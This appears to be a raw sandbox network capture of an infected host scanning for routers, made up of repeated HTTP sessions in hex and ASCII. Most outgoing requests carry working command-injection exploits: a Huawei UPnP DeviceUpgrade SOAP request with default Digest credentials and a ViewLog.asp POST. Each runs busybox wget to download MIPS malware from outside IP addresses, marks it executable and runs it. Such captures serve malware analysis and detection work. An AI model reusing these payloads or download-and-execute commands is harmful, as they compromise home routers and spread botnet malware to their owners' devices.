                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:05.495930910 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:09.495861053 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                865192.168.2.155804095.183.103.2318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.878515959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.097953081 CET378INHTTP/1.1 404 Not Found
                                                Server: nginx/1.14.0
                                                Date: Thu, 23 Nov 2023 04:23:01 GMT
                                                Content-Type: text/html
                                                Content-Length: 169
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                866192.168.2.155659294.121.29.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.878660917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                867192.168.2.154701085.11.100.1708080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.881819963 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                868192.168.2.153912231.207.39.1818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.023916960 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.202054024 CET358INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:23:02 GMT
                                                Server: Apache
                                                Content-Length: 126
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e
                                                Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                869192.168.2.155919262.76.102.58080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.104240894 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.330003977 CET417INHTTP/1.1 404 Not Found
                                                Server: nginx/1.10.3
                                                Date: Thu, 23 Nov 2023 04:25:42 GMT
                                                Content-Type: text/html
                                                Transfer-Encoding: chunked
                                                Connection: keep-alive
                                                Vary: Accept-Encoding
                                                Content-Encoding: gzip
                                                Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 c4 93 53 f3 4a 52 8b ec 6c 32 0c d1 4d 00 8a d8 e8 43 a5 41 76 01 15 41 79 79 e9 99 79 15 fa 86 7a 86 06 7a c6 c8 4a f4 41 96 80 19 50 07 02 00 f8 e7 d5 4a a9 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*SJRl2MCAvAyyyzzJAPJ0


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                870192.168.2.154516685.237.89.528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.148142099 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.318911076 CET360INHTTP/1.1 404 Not Found
                                                Server: nginx
                                                Date: Thu, 23 Nov 2023 04:23:02 GMT
                                                Content-Type: text/html
                                                Content-Length: 146
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                871192.168.2.155215231.136.137.2058080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.161854029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.744134903 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.896091938 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.423913956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.031791925 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                872192.168.2.155941862.202.155.1798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.165822029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                873192.168.2.154278494.112.135.928080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.171782017 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                874192.168.2.154685494.15.45.218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.188730955 CET357INHTTP/1.1 400 Bad Request
                                                Server: sky_router
                                                X-Frame-Options: Deny
                                                Cache-Control: no-cache
                                                Date: Thu, 23 Nov 2023 04:23:01 GMT
                                                Content-Type: text/html
                                                Connection: close
